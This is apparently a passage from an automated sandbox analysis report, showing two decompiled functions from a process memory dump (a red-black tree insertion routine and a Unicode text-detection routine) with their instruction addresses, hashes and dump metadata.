			E1E10B090(signed int _a4, signed int _a8, signed int _a12, signed int _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t117;
				signed int _t119;
				signed int _t120;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				signed int _t126;
				signed int _t134;
				signed int _t139;
				signed char _t143;
				signed int _t144;
				signed int _t146;
				signed int _t148;
				signed int* _t150;
				signed int _t152;
				signed int _t161;
				signed char _t165;
				signed int _t167;
				signed int _t170;
				signed int _t174;
				signed char _t177;
				signed int _t178;
				signed int _t181;
				signed int _t182;
				signed int _t187;
				signed int _t190;
				signed int _t192;
				signed int _t194;
				signed int _t196;
				signed int _t199;
				signed int _t202;
				signed int _t208;
				signed int _t211;

				_t182 = _a16;
				_t178 = _a8;
				_t161 = _a4;
				 *_t182 = 0;
				 *(_t182 + 4) = 0;
				_t5 = _t161 + 4; // 0x4
				_t117 =  *_t5 & 0x00000001;
				if(_t178 == 0) {
					 *_t161 = _t182;
					 *(_t161 + 4) = _t182;
					if(_t117 != 0) {
						_t117 = _t182 | 0x00000001;
						 *(_t161 + 4) = _t117;
					}
					 *(_t182 + 8) = 0;
					goto L43;
				} else {
					_t208 = _t182 ^ _t178;
					_t192 = _t208;
					if(_t117 == 0) {
						_t192 = _t182;
					}
					_t117 = _a12 & 0x000000ff;
					 *(_t178 + _t117 * 4) = _t192;
					if(( *(_t161 + 4) & 0x00000001) == 0) {
						_t208 = _t178;
					}
					 *(_t182 + 8) = _t208 | 0x00000001;
					if(_a12 == 0) {
						_t14 = _t161 + 4; // 0x4
						_t177 =  *_t14;
						_t117 = _t177 & 0xfffffffe;
						if(_t178 == _t117) {
							_t117 = _a4;
							 *(_t117 + 4) = _t182;
							if((_t177 & 0x00000001) != 0) {
								_t161 = _a4;
								_t117 = _t182 | 0x00000001;
								 *(_t161 + 4) = _t117;
							} else {
								_t161 = _t117;
							}
						} else {
							_t161 = _a4;
						}
					}
					if(( *(_t178 + 8) & 0x00000001) == 0) {
						L42:
						L43:
						return _t117;
					} else {
						_t19 = _t161 + 4; // 0x4
						_t165 =  *_t19 & 0x00000001;
						do {
							_t211 =  *(_t178 + 8) & 0xfffffffc;
							if(_t165 != 0) {
								if(_t211 != 0) {
									_t211 = _t211 ^ _t178;
								}
							}
							_t119 =  *_t211;
							if(_t165 != 0) {
								if(_t119 != 0) {
									_t119 = _t119 ^ _t211;
								}
							}
							_t120 = 0;
							_t121 = _t120 & 0xffffff00 | _t119 != _t178;
							_v8 = _t121;
							_t122 = _t121 ^ 0x00000001;
							_v16 = _t122;
							_t123 =  *(_t211 + _t122 * 4);
							if(_t165 != 0) {
								if(_t123 == 0) {
									goto L20;
								}
								_t123 = _t123 ^ _t211;
								goto L13;
							} else {
								L13:
								if(_t123 == 0 || ( *(_t123 + 8) & 0x00000001) == 0) {
									L20:
									_t194 = _v16;
									if((_a12 & 0x000000ff) != _v8) {
										_t126 =  *(_t182 + 8) & 0xfffffffc;
										_t167 = _t165 & 1;
										_v12 = _t167;
										if(_t167 != 0) {
											if(_t126 != 0) {
												_t126 = _t126 ^ _t182;
											}
										}
										if(_t126 != _t178) {
											L83:
											_t178 = 0x1d;
											asm("int 0x29");
											goto L84;
										} else {
											_t126 =  *(_t178 + _t194 * 4);
											if(_t167 != 0) {
												if(_t126 != 0) {
													_t126 = _t126 ^ _t178;
												}
											}
											if(_t126 != _t182) {
												goto L83;
											} else {
												_t126 =  *(_t211 + _v8 * 4);
												if(_t167 != 0) {
													if(_t126 != 0) {
														_t126 = _t126 ^ _t211;
													}
												}
												if(_t126 != _t178) {
													goto L83;
												} else {
													_t77 = _t178 + 8; // 0x8
													_t150 = _t77;
													_v20 = _t150;
													_t126 =  *_t150 & 0xfffffffc;
													if(_t167 != 0) {
														if(_t126 != 0) {
															_t126 = _t126 ^ _t178;
														}
													}
													if(_t126 != _t211) {
														goto L83;
													} else {
														_t202 = _t211 ^ _t182;
														_t152 = _t202;
														if(_t167 == 0) {
															_t152 = _t182;
														}
														 *(_t211 + _v8 * 4) = _t152;
														_t170 = _v12;
														if(_t170 == 0) {
															_t202 = _t211;
														}
														 *(_t182 + 8) =  *(_t182 + 8) & 0x00000003 | _t202;
														_t126 =  *(_t182 + _v8 * 4);
														if(_t170 != 0) {
															if(_t126 == 0) {
																L58:
																if(_t170 != 0) {
																	if(_t126 != 0) {
																		_t126 = _t126 ^ _t178;
																	}
																}
																 *(_t178 + _v16 * 4) = _t126;
																_t199 = _t178 ^ _t182;
																if(_t170 != 0) {
																	_t178 = _t199;
																}
																 *(_t182 + _v8 * 4) = _t178;
																if(_t170 == 0) {
																	_t199 = _t182;
																}
																 *_v20 =  *_v20 & 0x00000003 | _t199;
																_t178 = _t182;
																_t167 =  *((intOrPtr*)(_a4 + 4));
																goto L21;
															}
															_t126 = _t126 ^ _t182;
														}
														if(_t126 != 0) {
															_t167 =  *(_t126 + 8);
															_t194 = _t167 & 0xfffffffc;
															if(_v12 != 0) {
																L84:
																if(_t194 != 0) {
																	_t194 = _t194 ^ _t126;
																}
															}
															if(_t194 != _t182) {
																goto L83;
															}
															if(_v12 != 0) {
																_t196 = _t126 ^ _t178;
															} else {
																_t196 = _t178;
															}
															 *(_t126 + 8) = _t167 & 0x00000003 | _t196;
															_t170 = _v12;
														}
														goto L58;
													}
												}
											}
										}
									}
									L21:
									_t182 = _v8 ^ 0x00000001;
									_t126 =  *(_t178 + 8) & 0xfffffffc;
									_v8 = _t182;
									_t194 = _t167 & 1;
									if(_t194 != 0) {
										if(_t126 != 0) {
											_t126 = _t126 ^ _t178;
										}
									}
									if(_t126 != _t211) {
										goto L83;
									} else {
										_t134 = _t182 ^ 0x00000001;
										_v16 = _t134;
										_t126 =  *(_t211 + _t134 * 4);
										if(_t194 != 0) {
											if(_t126 != 0) {
												_t126 = _t126 ^ _t211;
											}
										}
										if(_t126 != _t178) {
											goto L83;
										} else {
											_t167 = _t211 + 8;
											_t182 =  *_t167 & 0xfffffffc;
											_v20 = _t167;
											if(_t194 != 0) {
												if(_t182 == 0) {
													L80:
													_t126 = _a4;
													if( *_t126 != _t211) {
														goto L83;
													}
													 *_t126 = _t178;
													L34:
													if(_t194 != 0) {
														if(_t182 != 0) {
															_t182 = _t182 ^ _t178;
														}
													}
													 *(_t178 + 8) =  *(_t178 + 8) & 0x00000003 | _t182;
													_t139 =  *((intOrPtr*)(_t178 + _v8 * 4));
													if(_t194 != 0) {
														if(_t139 == 0) {
															goto L37;
														}
														_t126 = _t139 ^ _t178;
														goto L36;
													} else {
														L36:
														if(_t126 != 0) {
															_t167 =  *(_t126 + 8);
															_t182 = _t167 & 0xfffffffc;
															if(_t194 != 0) {
																if(_t182 != 0) {
																	_t182 = _t182 ^ _t126;
																}
															}
															if(_t182 != _t178) {
																goto L83;
															} else {
																if(_t194 != 0) {
																	_t190 = _t126 ^ _t211;
																} else {
																	_t190 = _t211;
																}
																 *(_t126 + 8) = _t167 & 0x00000003 | _t190;
																_t167 = _v20;
																goto L37;
															}
														}
														L37:
														if(_t194 != 0) {
															if(_t139 != 0) {
																_t139 = _t139 ^ _t211;
															}
														}
														 *(_t211 + _v16 * 4) = _t139;
														_t187 = _t211 ^ _t178;
														if(_t194 != 0) {
															_t211 = _t187;
														}
														 *(_t178 + _v8 * 4) = _t211;
														if(_t194 == 0) {
															_t187 = _t178;
														}
														_t143 =  *_t167 & 0x00000003 | _t187;
														 *_t167 = _t143;
														_t117 = _t143 | 0x00000001;
														 *_t167 = _t117;
														 *(_t178 + 8) =  *(_t178 + 8) & 0x000000fe;
														goto L42;
													}
												}
												_t182 = _t182 ^ _t211;
											}
											if(_t182 == 0) {
												goto L80;
											}
											_t144 =  *(_t182 + 4);
											if(_t194 != 0) {
												if(_t144 != 0) {
													_t144 = _t144 ^ _t182;
												}
											}
											if(_t144 == _t211) {
												if(_t194 != 0) {
													_t146 = _t182 ^ _t178;
												} else {
													_t146 = _t178;
												}
												 *(_t182 + 4) = _t146;
												goto L34;
											} else {
												_t126 =  *_t182;
												if(_t194 != 0) {
													if(_t126 != 0) {
														_t126 = _t126 ^ _t182;
													}
												}
												if(_t126 != _t211) {
													goto L83;
												} else {
													if(_t194 != 0) {
														_t148 = _t182 ^ _t178;
													} else {
														_t148 = _t178;
													}
													 *_t182 = _t148;
													goto L34;
												}
											}
										}
									}
								} else {
									 *(_t178 + 8) =  *(_t178 + 8) & 0x000000fe;
									_t182 = _t211;
									 *(_t123 + 8) =  *(_t123 + 8) & 0x000000fe;
									_t174 = _a4;
									_t117 =  *(_t211 + 8);
									_t181 = _t117 & 0xfffffffc;
									if(( *(_t174 + 4) & 0x00000001) != 0) {
										if(_t181 == 0) {
											goto L42;
										}
										_t178 = _t181 ^ _t211;
									}
									if(_t178 == 0) {
										goto L42;
									}
									goto L17;
								}
							}
							L17:
							 *(_t211 + 8) = _t117 | 0x00000001;
							_t40 = _t174 + 4; // 0x4
							_t117 =  *_t178;
							_t165 =  *_t40 & 0x00000001;
							if(_t165 != 0) {
								if(_t117 != 0) {
									_t117 = _t117 ^ _t178;
								}
							}
							_a12 = _t211 != _t117;
						} while (( *(_t178 + 8) & 0x00000001) != 0);
						goto L42;
					}
				}
			}

0x1e10b095
0x1e10b09b
0x1e10b09f
0x1e10b0a5
0x1e10b0a7
0x1e10b0aa
0x1e10b0ad
0x1e10b0b1
0x1e10b3f8
0x1e10b3fa
0x1e10b3ff
0x1e10b419
0x1e10b41b
0x1e10b41b
0x1e10b401
0x00000000
0x1e10b0b7
0x1e10b0b9
0x1e10b0bc
0x1e10b0c0
0x1e10b0c2
0x1e10b0c2
0x1e10b0c4
0x1e10b0c8
0x1e10b0cf
0x1e10b0d1
0x1e10b0d1
0x1e10b0da
0x1e10b0dd
0x1e10b0df
0x1e10b0df
0x1e10b0e4
0x1e10b0e9
0x1e10b3e2
0x1e10b3e5
0x1e10b3eb
0x1e15a676
0x1e15a67b
0x1e15a67d
0x1e10b3f1
0x1e10b3f1
0x1e10b3f1
0x1e10b0ef
0x1e10b0ef
0x1e10b0ef
0x1e10b0e9
0x1e10b0f6
0x1e10b28d
0x1e10b28e
0x1e10b293
0x1e10b0fc
0x1e10b0fc
0x1e10b101
0x1e10b104
0x1e10b107
0x1e10b10c
0x1e15a687
0x1e15a68d
0x1e15a68d
0x1e15a687
0x1e10b112
0x1e10b116
0x1e15a696
0x1e15a69c
0x1e15a69c
0x1e15a696
0x1e10b120
0x1e10b121
0x1e10b124
0x1e10b127
0x1e10b12a
0x1e10b12d
0x1e10b132
0x1e15a6a5
0x00000000
0x00000000
0x1e15a6ab
0x00000000
0x1e10b138
0x1e10b138
0x1e10b13a
0x1e10b193
0x1e10b197
0x1e10b19d
0x1e10b29c
0x1e10b29f
0x1e10b2a2
0x1e10b2a7
0x1e15a6d2
0x1e15a6d8
0x1e15a6d8
0x1e15a6d2
0x1e10b2af
0x1e10b420
0x1e10b422
0x1e10b423
0x00000000
0x1e10b2b5
0x1e10b2b5
0x1e10b2ba
0x1e15a6e1
0x1e15a6e7
0x1e15a6e7
0x1e15a6e1
0x1e10b2c2
0x00000000
0x1e10b2c8
0x1e10b2cb
0x1e10b2d0
0x1e15a6f0
0x1e15a6f6
0x1e15a6f6
0x1e15a6f0
0x1e10b2d8
0x00000000
0x1e10b2de
0x1e10b2de
0x1e10b2de
0x1e10b2e1
0x1e10b2e6
0x1e10b2eb
0x1e15a6ff
0x1e15a705
0x1e15a705
0x1e15a6ff
0x1e10b2f3
0x00000000
0x1e10b2f9
0x1e10b2fb
0x1e10b2fd
0x1e10b301
0x1e10b303
0x1e10b303
0x1e10b308
0x1e10b30b
0x1e10b310
0x1e10b312
0x1e10b312
0x1e10b31c
0x1e10b322
0x1e10b327
0x1e15a70e
0x1e10b335
0x1e10b337
0x1e15a71d
0x1e15a723
0x1e15a723
0x1e15a71d
0x1e10b340
0x1e10b345
0x1e10b349
0x1e15a72a
0x1e15a72a
0x1e10b352
0x1e10b357
0x1e10b359
0x1e10b359
0x1e10b365
0x1e10b367
0x1e10b36c
0x00000000
0x1e10b36c
0x1e15a714
0x1e15a714
0x1e10b32f
0x1e10b3b8
0x1e10b3bd
0x1e10b3c4
0x1e10b425
0x1e10b427
0x1e10b429
0x1e10b429
0x1e10b427
0x1e10b3c8
0x00000000
0x00000000
0x1e10b3ce
0x1e10b42f
0x1e10b3d0
0x1e10b3d0
0x1e10b3d0
0x1e10b3d7
0x1e10b3da
0x1e10b3da
0x00000000
0x1e10b32f
0x1e10b2f3
0x1e10b2d8
0x1e10b2c2
0x1e10b2af
0x1e10b1a3
0x1e10b1a9
0x1e10b1af
0x1e10b1b2
0x1e10b1b5
0x1e10b1b8
0x1e15a733
0x1e15a739
0x1e15a739
0x1e15a733
0x1e10b1c0
0x00000000
0x1e10b1c6
0x1e10b1c8
0x1e10b1cb
0x1e10b1ce
0x1e10b1d3
0x1e15a742
0x1e15a748
0x1e15a748
0x1e15a742
0x1e10b1db
0x00000000
0x1e10b1e1
0x1e10b1e1
0x1e10b1e6
0x1e10b1e9
0x1e10b1ee
0x1e15a751
0x1e10b409
0x1e10b409
0x1e10b40e
0x00000000
0x00000000
0x1e10b410
0x1e10b22d
0x1e10b22f
0x1e15a790
0x1e15a796
0x1e15a796
0x1e15a790
0x1e10b23d
0x1e10b243
0x1e10b248
0x1e15a79f
0x00000000
0x00000000
0x1e15a7a5
0x00000000
0x1e10b24e
0x1e10b24e
0x1e10b250
0x1e10b374
0x1e10b379
0x1e10b37e
0x1e15a7ae
0x1e15a7b4
0x1e15a7b4
0x1e15a7ae
0x1e10b386
0x00000000
0x1e10b38c
0x1e10b38e
0x1e15a7bd
0x1e10b394
0x1e10b394
0x1e10b394
0x1e10b39b
0x1e10b39e
0x00000000
0x1e10b39e
0x1e10b386
0x1e10b256
0x1e10b258
0x1e15a7c6
0x1e15a7cc
0x1e15a7cc
0x1e15a7c6
0x1e10b261
0x1e10b266
0x1e10b26a
0x1e15a7d3
0x1e15a7d3
0x1e10b273
0x1e10b278
0x1e10b27a
0x1e10b27a
0x1e10b281
0x1e10b283
0x1e10b285
0x1e10b287
0x1e10b289
0x00000000
0x1e10b289
0x1e10b248
0x1e15a757
0x1e15a757
0x1e10b1f6
0x00000000
0x00000000
0x1e10b1fc
0x1e10b201
0x1e15a760
0x1e15a766
0x1e15a766
0x1e15a760
0x1e10b209
0x1e10b3a8
0x1e15a76f
0x1e10b3ae
0x1e10b3ae
0x1e10b3ae
0x1e10b3b0
0x00000000
0x1e10b20f
0x1e10b20f
0x1e10b213
0x1e15a778
0x1e15a77e
0x1e15a77e
0x1e15a778
0x1e10b21b
0x00000000
0x1e10b221
0x1e10b223
0x1e15a787
0x1e10b229
0x1e10b229
0x1e10b229
0x1e10b22b
0x00000000
0x1e10b22b
0x1e10b21b
0x1e10b209
0x1e10b1db
0x1e10b142
0x1e10b142
0x1e10b146
0x1e10b148
0x1e10b14c
0x1e10b14f
0x1e10b154
0x1e10b15b
0x1e15a6b4
0x00000000
0x00000000
0x1e15a6ba
0x1e15a6ba
0x1e10b163
0x00000000
0x00000000
0x00000000
0x1e10b163
0x1e10b13a
0x1e10b169
0x1e10b16b
0x1e10b16e
0x1e10b171
0x1e10b175
0x1e10b178
0x1e15a6c3
0x1e15a6c9
0x1e15a6c9
0x1e15a6c3
0x1e10b180
0x1e10b184
0x00000000
0x1e10b104
0x1e10b0f6

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction ID: 200e21ba0b492ea3dcba9304f0c50f327b53a6edf52af78282c86beda6bd4dd9
Opcode Fuzzy Hash: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction Fuzzy Hash: 47D1E3327603578BC701CE2AC690A5AB7E3BF85214B3A8769DC66CB349E731EDC18750

Uniqueness

Uniqueness Score: -1.00%

Function 1E0F0D20, Relevance: .4, Instructions: 372
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E1E0F0D20(signed short* _a4, signed char _a8, unsigned int _a12) {
				signed char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				unsigned int _v36;
				signed char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				signed int _v96;
				unsigned int _v100;
				signed int _t159;
				unsigned int _t160;
				signed int _t162;
				unsigned int _t163;
				signed int _t180;
				signed int _t192;
				signed int _t193;
				unsigned int _t194;
				signed char _t196;
				signed int _t197;
				signed char _t198;
				signed char _t199;
				unsigned int _t200;
				unsigned int _t202;
				unsigned int _t204;
				unsigned int _t205;
				unsigned int _t209;
				signed int _t210;
				signed int _t211;
				unsigned int _t212;
				signed char _t213;
				signed short* _t214;
				intOrPtr _t215;
				signed int _t216;
				signed int _t217;
				unsigned int _t218;
				signed int _t220;
				signed int _t221;
				signed short _t223;
				signed char _t224;
				signed int _t229;
				signed int _t231;
				unsigned int _t233;
				unsigned int _t237;
				signed int _t238;
				unsigned int _t239;
				signed int _t240;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				unsigned int _t258;
				void* _t261;

				_t213 = _a8;
				_t159 = 0;
				_v60 = 0;
				_t237 = _t213 >> 1;
				_t210 = 0;
				_t257 = 0;
				_v56 = 0;
				_v52 = 0;
				_v44 = 0;
				_v48 = 0;
				_v92 = 0;
				_v88 = 0;
				_v76 = 0;
				_v72 = 0;
				_v64 = 0;
				_v68 = 0;
				_v24 = 0;
				_v80 = 0;
				_v84 = 0;
				_v28 = 0;
				_v32 = 0;
				_v20 = 0;
				_v12 = 0;
				_v16 = 0;
				_v100 = _t237;
				if(_t237 > 0x100) {
					_t254 = 0x100;
					_v36 = 0x100;
					L2:
					_t261 = _t213 - 2;
					if(_t261 == 0) {
						_t214 = _a4;
						_t160 =  *_t214 & 0x0000ffff;
						__eflags = _t160;
						if(_t160 == 0) {
							L108:
							_t159 = 0;
							L8:
							_t238 = 0;
							_v96 = 0;
							if(_t254 == 0) {
								L30:
								_v24 = _t159 - 1;
								goto L31;
							} else {
								goto L11;
								L13:
								_t224 = _t223 >> 8;
								_v40 = _t224;
								_t256 = _t224 & 0x000000ff;
								_t196 = _a4[_t238];
								_v5 = _t196;
								_t197 = _t196 & 0x000000ff;
								if(_t197 == 0xd) {
									__eflags = _t257 - 0xa;
									if(_t257 == 0xa) {
										_v12 = _v12 + 1;
									}
								} else {
									if(_t197 == 0xa) {
										__eflags = _t257 - 0xd;
										if(_t257 == 0xd) {
											_v12 = _v12 + 1;
										}
									}
								}
								_v24 = (0 | _t256 == 0x00000000) + _v24 + (0 | _t197 == 0x00000000);
								if(_t256 > _t257) {
									_t229 = _t256;
								} else {
									_t229 = _t257;
								}
								if(_t257 >= _t256) {
									_t257 = _t256;
								}
								_v28 = _v28 + _t229 - _t257;
								_t231 = _t197;
								if(_t197 <= _t210) {
									_t231 = _t210;
								}
								if(_t210 >= _t197) {
									_t210 = _t197;
								}
								_v32 = _v32 + _t231 - _t210;
								_t238 = _v96 + 1;
								_t210 = _t197;
								_t257 = _t256;
								_v96 = _t238;
								if(_t238 < _v36) {
									_t214 = _a4;
									L11:
									_t223 = _t214[_t238] & 0x0000ffff;
									_t193 = _t223 & 0x0000ffff;
									if(_t193 >= 0x900 || _t193 < 0x21) {
										goto L58;
									} else {
										goto L13;
									}
								}
								_t198 = _v5;
								if(_t198 == 0xd) {
									_t199 = _v40;
									__eflags = _t199 - 0xa;
									if(_t199 != 0xa) {
										L27:
										_t233 = _v12;
										L28:
										if(_t199 != 0) {
											__eflags = _t199 - 0x1a;
											if(_t199 == 0x1a) {
												_v12 = _t233 + 1;
											}
											L31:
											_t162 = _a8;
											if(_t162 > 0x200) {
												_t255 = 0x200;
											} else {
												_t255 = _t162;
											}
											_t215 =  *0x1e1e6d59; // 0x0
											if(_t215 != 0) {
												_t239 = 0;
												__eflags = _t255;
												if(_t255 == 0) {
													goto L34;
												} else {
													goto L119;
												}
												do {
													L119:
													_t192 =  *(_a4 + _t239) & 0x000000ff;
													__eflags =  *((short*)(0x1e1e6920 + _t192 * 2));
													_t163 = _v20;
													if( *((short*)(0x1e1e6920 + _t192 * 2)) != 0) {
														_t163 = _t163 + 1;
														_t239 = _t239 + 1;
														__eflags = _t239;
														_v20 = _t163;
													}
													_t239 = _t239 + 1;
													__eflags = _t239 - _t255;
												} while (_t239 < _t255);
												goto L35;
											} else {
												L34:
												_t163 = 0;
												L35:
												_t240 = _v32;
												_t211 = _v28;
												if(_t240 < 0x7f) {
													__eflags = _t211;
													if(_t211 != 0) {
														L37:
														if(_t240 == 0) {
															_v16 = 0x10;
														}
														L38:
														_t258 = _a12;
														if(_t215 != 0) {
															__eflags = _t163;
															if(_t163 == 0) {
																goto L39;
															}
															__eflags = _t258;
															if(_t258 == 0) {
																goto L39;
															}
															__eflags =  *_t258 & 0x00000400;
															if(( *_t258 & 0x00000400) == 0) {
																goto L39;
															}
															_t218 = _v100;
															__eflags = _t218 - 0x100;
															if(_t218 > 0x100) {
																_t218 = 0x100;
															}
															_t220 = (_t218 >> 1) - 1;
															__eflags = _v20 - 0xaaaaaaab * _t220 >> 0x20 >> 1;
															if(_v20 >= 0xaaaaaaab * _t220 >> 0x20 >> 1) {
																_t221 = _t220 + _t220;
																__eflags = _v20 - 0xaaaaaaab * _t221 >> 0x20 >> 1;
																asm("sbb ecx, ecx");
																_t216 =  ~_t221 + 1;
																__eflags = _t216;
															} else {
																_t216 = 3;
															}
															_v16 = _v16 | 0x00000400;
															_t240 = _v32;
															L40:
															if(_t211 * _t216 < _t240) {
																_v16 = _v16 | 0x00000002;
															}
															_t217 = _v16;
															if(_t240 * _t216 < _t211) {
																_t217 = _t217 | 0x00000020;
															}
															if(_v44 + _v48 + _v52 + _v56 + _v60 != 0) {
																_t217 = _t217 | 0x00000004;
															}
															if(_v64 + _v68 + _v72 + _v76 != 0) {
																_t217 = _t217 | 0x00000040;
															}
															if(_v80 + _v84 + _v88 + _v92 == 0) {
																_t212 = _v12;
																__eflags = _t212;
																if(_t212 == 0) {
																	goto L48;
																}
																__eflags = _t212 - 0xcccccccd * _t255 >> 0x20 >> 5;
																if(_t212 >= 0xcccccccd * _t255 >> 0x20 >> 5) {
																	goto L47;
																}
																goto L48;
															} else {
																L47:
																_t217 = _t217 | 0x00000100;
																L48:
																if((_a8 & 0x00000001) != 0) {
																	_t217 = _t217 | 0x00000200;
																}
																if(_v24 != 0) {
																	_t217 = _t217 | 0x00001000;
																}
																_t180 =  *_a4 & 0x0000ffff;
																if(_t180 != 0xfeff) {
																	__eflags = _t180 - 0xfffe;
																	if(_t180 == 0xfffe) {
																		_t217 = _t217 | 0x00000080;
																	}
																} else {
																	_t217 = _t217 | 0x00000008;
																}
																if(_t258 != 0) {
																	 *_t258 =  *_t258 & _t217;
																	_t217 =  *_t258;
																}
																if((_t217 & 0x00000b08) != 8) {
																	__eflags = _t217 & 0x000000f0;
																	if((_t217 & 0x000000f0) != 0) {
																		L84:
																		return 0;
																	}
																	__eflags = _t217 & 0x00000f00;
																	if((_t217 & 0x00000f00) == 0) {
																		__eflags = _t217 & 0x0000f00f;
																		if((_t217 & 0x0000f00f) == 0) {
																			goto L84;
																		}
																		goto L56;
																	}
																	goto L84;
																} else {
																	L56:
																	return 1;
																}
															}
														}
														L39:
														_t216 = 3;
														goto L40;
													}
													_v16 = 1;
													goto L38;
												}
												if(_t211 == 0) {
													goto L38;
												}
												goto L37;
											}
										} else {
											_t159 = _v24;
											goto L30;
										}
									}
									L104:
									_t233 = _v12 + 1;
									_v12 = _t233;
									goto L28;
								}
								_t199 = _v40;
								if(_t198 != 0xa || _t199 != 0xd) {
									goto L27;
								} else {
									goto L104;
								}
								L58:
								__eflags = _t193 - 0x3001;
								if(_t193 < 0x3001) {
									L60:
									__eflags = _t193 - 0xd00;
									if(__eflags > 0) {
										__eflags = _t193 - 0x3000;
										if(__eflags > 0) {
											_t194 = _t193 - 0xfeff;
											__eflags = _t194;
											if(_t194 != 0) {
												_t200 = _t194 - 0xff;
												__eflags = _t200;
												if(_t200 == 0) {
													_v88 = _v88 + 1;
												} else {
													__eflags = _t200 == 1;
													if(_t200 == 1) {
														_v92 = _v92 + 1;
													}
												}
											}
										} else {
											if(__eflags == 0) {
												_v48 = _v48 + 1;
											} else {
												_t202 = _t193 - 0x2000;
												__eflags = _t202;
												if(_t202 == 0) {
													_v68 = _v68 + 1;
												}
											}
										}
										goto L13;
									}
									if(__eflags == 0) {
										_v76 = _v76 + 1;
										goto L13;
									}
									__eflags = _t193 - 0x20;
									if(__eflags > 0) {
										_t204 = _t193 - 0x900;
										__eflags = _t204;
										if(_t204 == 0) {
											_v64 = _v64 + 1;
										} else {
											_t205 = _t204 - 0x100;
											__eflags = _t205;
											if(_t205 == 0) {
												_v72 = _v72 + 1;
											} else {
												__eflags = _t205 == 0xd;
												if(_t205 == 0xd) {
													_v84 = _v84 + 1;
												}
											}
										}
										goto L13;
									}
									if(__eflags == 0) {
										_v44 = _v44 + 1;
										goto L13;
									}
									__eflags = _t193 - 0xd;
									if(_t193 > 0xd) {
										goto L13;
									}
									_t84 = _t193 + 0x1e0f1174; // 0x4040400
									switch( *((intOrPtr*)(( *_t84 & 0x000000ff) * 4 +  &M1E0F1160))) {
										case 0:
											_v80 = _v80 + 1;
											goto L13;
										case 1:
											_v52 = _v52 + 1;
											goto L13;
										case 2:
											_v56 = _v56 + 1;
											goto L13;
										case 3:
											_v60 = _v60 + 1;
											goto L13;
										case 4:
											goto L13;
									}
								}
								__eflags = _t193 - 0xfeff;
								if(_t193 < 0xfeff) {
									goto L13;
								}
								goto L60;
							}
						}
						__eflags = _t160 >> 8;
						if(_t160 >> 8 == 0) {
							L101:
							_t209 = _a12;
							__eflags = _t209;
							if(_t209 != 0) {
								 *_t209 = 5;
							}
							goto L84;
						}
						goto L108;
					}
					if(_t261 <= 0 || _t237 > 0x100) {
						_t214 = _a4;
					} else {
						_t214 = _a4;
						if((_t213 & 0x00000001) == 0 && ( *(_t214 + _t254 * 2 - 2) & 0x0000ff00) == 0) {
							_t254 = _t254 - 1;
							_v36 = _t254;
						}
					}
					goto L8;
				}
				_t254 = _t237;
				_v36 = _t254;
				if(_t254 == 0) {
					goto L101;
				}
				goto L2;
			}

0x1e0f0d2b
0x1e0f0d2e
0x1e0f0d32
0x1e0f0d39
0x1e0f0d3b
0x1e0f0d3d
0x1e0f0d3f
0x1e0f0d46
0x1e0f0d4d
0x1e0f0d54
0x1e0f0d5b
0x1e0f0d62
0x1e0f0d69
0x1e0f0d70
0x1e0f0d77
0x1e0f0d7e
0x1e0f0d85
0x1e0f0d88
0x1e0f0d8b
0x1e0f0d8e
0x1e0f0d91
0x1e0f0d94
0x1e0f0d97
0x1e0f0d9a
0x1e0f0d9d
0x1e0f0da6
0x1e0f10e9
0x1e0f10ee
0x1e0f0db9
0x1e0f0db9
0x1e0f0dbc
0x1e14e9c7
0x1e14e9ca
0x1e14e9cd
0x1e14e9d0
0x1e14e9dd
0x1e14e9dd
0x1e0f0dec
0x1e0f0dec
0x1e0f0dee
0x1e0f0df3
0x1e0f0ebf
0x1e0f0ec0
0x00000000
0x1e0f0df9
0x1e0f0df9
0x1e0f0e1e
0x1e0f0e21
0x1e0f0e24
0x1e0f0e27
0x1e0f0e2a
0x1e0f0e2d
0x1e0f0e30
0x1e0f0e36
0x1e0f1040
0x1e0f1043
0x1e0f1049
0x1e0f1049
0x1e0f0e3c
0x1e0f0e3f
0x1e0f1007
0x1e0f100a
0x1e0f1010
0x1e0f1010
0x1e0f100a
0x1e0f0e3f
0x1e0f0e58
0x1e0f0e5d
0x1e0f1000
0x1e0f0e63
0x1e0f0e63
0x1e0f0e63
0x1e0f0e67
0x1e0f0e69
0x1e0f0e69
0x1e0f0e6d
0x1e0f0e70
0x1e0f0e74
0x1e0f0e76
0x1e0f0e76
0x1e0f0e7a
0x1e0f0e7c
0x1e0f0e7c
0x1e0f0e83
0x1e0f0e86
0x1e0f0e87
0x1e0f0e89
0x1e0f0e8b
0x1e0f0e91
0x1e0f0e00
0x1e0f0e03
0x1e0f0e03
0x1e0f0e07
0x1e0f0e0f
0x00000000
0x00000000
0x00000000
0x00000000
0x1e0f0e0f
0x1e0f0e97
0x1e0f0e9c
0x1e0f113e
0x1e0f1141
0x1e0f1143
0x1e0f0eb1
0x1e0f0eb1
0x1e0f0eb4
0x1e0f0eb6
0x1e0f1110
0x1e0f1112
0x1e14ea25
0x1e14ea25
0x1e0f0ec3
0x1e0f0ec3
0x1e0f0ecb
0x1e0f10fe
0x1e0f0ed1
0x1e0f0ed1
0x1e0f0ed1
0x1e0f0ed3
0x1e0f0edb
0x1e14ea2d
0x1e14ea2f
0x1e14ea31
0x00000000
0x00000000
0x00000000
0x00000000
0x1e14ea37
0x1e14ea37
0x1e14ea3a
0x1e14ea3e
0x1e14ea47
0x1e14ea4a
0x1e14ea4c
0x1e14ea4d
0x1e14ea4d
0x1e14ea4e
0x1e14ea4e
0x1e14ea51
0x1e14ea52
0x1e14ea52
